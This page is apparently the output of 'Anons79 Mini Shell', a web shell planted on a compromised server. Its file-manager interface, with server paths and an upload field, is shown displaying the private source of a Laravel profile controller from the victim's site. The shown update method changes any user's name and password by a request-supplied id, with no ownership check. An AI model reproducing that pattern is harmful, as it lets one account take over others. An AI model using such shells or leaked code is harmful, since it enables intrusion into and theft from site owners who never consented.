Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/pemuda.aplikasipos.info/app/Http/Controllers/
Upload File :
Current File : /home/aplikasiposinfo/www/pemuda.aplikasipos.info/app/Http/Controllers/ProfileWebController.php

<?php

namespace App\Http\Controllers;

use App\Models\LogAktivitas;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;

class ProfileWebController extends Controller
{
    public function index() {
        $data['title'] = "Profile";
        $data['profile'] = User::find(Auth::user()->id);
        $data['LogAktivitas'] = LogAktivitas::where('user_id', Auth::user()->id)->paginate();
        return view('profile.index', $data);
    }

    public function edit() {
        $data['title'] = "Edit Profil";
        return view('profile.edit', $data);
    }

    public function update(Request $request, $id) {
        \App\Helpers\LogActivity::addToLog('Mengedit Profile Data : ');
        $rules = [
            'name' => 'required'
        ];

        if($request->password != "") {
            $rules['password'] = 'required';
            $rules['konfirmasi_password'] = 'required|same:password';
        }

        $validate = $request->validate($rules, [
            'name.required' => "Nama Lengkap Wajib diisi!",
            'password.required' => "Password wajib diisi",
            'konfirmasi_password.required' => "Konfirmasi Password Wajib diisi!",
            'konfirmasi_password.same' => "Konfirmasi Password harus sama dengan password",
        ]);

        if($request->password != "") {
            $user = User::where('id', $id)->update([
                'name' => $request->name,
                'password' => Hash::make($request->password)
            ]);
        } else {
            $user = User::where('id', $id)->update($validate);
        }

        return redirect('/dashboard')->with('success', 'Profil berhasil diupdate!');

    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]